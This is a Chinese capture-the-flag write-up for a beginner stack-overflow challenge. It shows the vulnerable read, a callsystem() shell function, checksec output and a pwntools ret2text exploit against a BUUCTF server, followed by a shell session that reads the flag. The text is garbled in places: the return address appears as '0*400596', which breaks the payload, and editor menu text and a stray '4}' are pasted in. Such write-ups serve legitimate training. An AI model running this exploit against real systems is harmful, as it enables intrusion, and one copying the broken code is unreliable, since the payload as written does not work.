栈溢出的基本题目, 有之前的好几道题目打底, 这道题没调试就直接上了。。。

看到盲点,buf只有128字节的大小,但是read读了256字节

看到栈溢出的点了

然后查看能利用的函数。

```
int callsystem()

{
    return system("/bin/sh");

4}
```

得到了可以利用的函数。

## 看一下该程序的保护。

```
root@kali:/home/kali/Desktop/ctf# checksec level0
[*] '/home/kali/Desktop/ctf/level0'
   Arch:   amd64-64-little
   RELRO:   No RELRO
   Stack:   No canary found
   NX:      NX enabled
   PIE:   No PIE (0×400000)
```

可以看到只开了NX保护,即栈不可执行。

## exp

```
文件(F) 编辑(E) 搜索(S) 视图(V) 文档(D) 帮助(H)

from pwn import *
io = remote('node3.buuoj.cn',27724)

pyload = b'a'*128 + b'a'*8 + p64(0*400596)
io.sendline(pyload)
io.interactive()
```

```
To disable this functionality, set the contents of /root/.cache/.pwntools-cache-3.8/update to 'never' (o'
        Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
77
64
            [update]
            interval=never
   [*] You have the latest version of Pwntools (4.5.0)
   [+] Opening connection to node3.buuoj.cn on port 27724: Done [*] Switching to interactive mode
   Hello, World
    ls
   bin
   boot
   dev
   etc
   flag
   flag.txt
   home
   lib
   lib32
   lib64
   media
   mnt
   opt
   proc
   pwn
   root
   run
```

```
usr
var

s cat flag
flag{9db33b07-5d50-4449-8abf-9a709f2d68a7}

cat flag.txt
flag{9db33b07-5d50-4449-8abf-9a709f2d68a7}
```